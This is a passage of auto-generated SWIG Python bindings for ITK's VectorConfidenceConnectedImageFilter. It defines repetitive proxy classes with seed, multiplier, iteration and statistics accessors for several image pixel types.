"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF23IUC3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF23IUC3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF23IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF23IUC3
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF23IUC3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF23IUC3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF23IUC3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF23IUC3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_Clone, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF23IUC3)
itkVectorConfidenceConnectedImageFilterICVF23IUC3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_swigregister
itkVectorConfidenceConnectedImageFilterICVF23IUC3_swigregister(itkVectorConfidenceConnectedImageFilterICVF23IUC3)
def itkVectorConfidenceConnectedImageFilterICVF23IUC3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF23IUC3_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF23IUC3___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF23IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF23IUC3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF23IUC3 *":
"""itkVectorConfidenceConnectedImageFilterICVF23IUC3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF23IUC3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF23IUS3(itkImageToImageFilterBPython.itkImageToImageFilterICVF23IUS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF23IUS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF23IUS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF23IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF23IUS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self) -> itkVectorConfidenceConnectedImageFilterICVF23IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF23IUS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF23IUS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF23IUS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF23IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF23IUS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF23IUS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF23IUS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF23IUS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF23IUS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_Clone, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF23IUS3)
itkVectorConfidenceConnectedImageFilterICVF23IUS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_swigregister
itkVectorConfidenceConnectedImageFilterICVF23IUS3_swigregister(itkVectorConfidenceConnectedImageFilterICVF23IUS3)
def itkVectorConfidenceConnectedImageFilterICVF23IUS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF23IUS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF23IUS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF23IUS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF23IUS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF23IUS3 *":
"""itkVectorConfidenceConnectedImageFilterICVF23IUS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF23IUS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUS3_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF32ISS2(itkImageToImageFilterBPython.itkImageToImageFilterICVF32ISS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF32ISS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF32ISS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF32ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF32ISS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self) -> itkVectorConfidenceConnectedImageFilterICVF32ISS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF32ISS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF32ISS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF32ISS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF32ISS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF32ISS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF32ISS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF32ISS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF32ISS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF32ISS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF32ISS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_Clone, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
itkVectorConfidenceConnectedImageFilterICVF32ISS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
itkVectorConfidenceConnectedImageFilterICVF32ISS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
itkVectorConfidenceConnectedImageFilterICVF32ISS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
itkVectorConfidenceConnectedImageFilterICVF32ISS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
itkVectorConfidenceConnectedImageFilterICVF32ISS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
itkVectorConfidenceConnectedImageFilterICVF32ISS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
itkVectorConfidenceConnectedImageFilterICVF32ISS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF32ISS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF32ISS2)
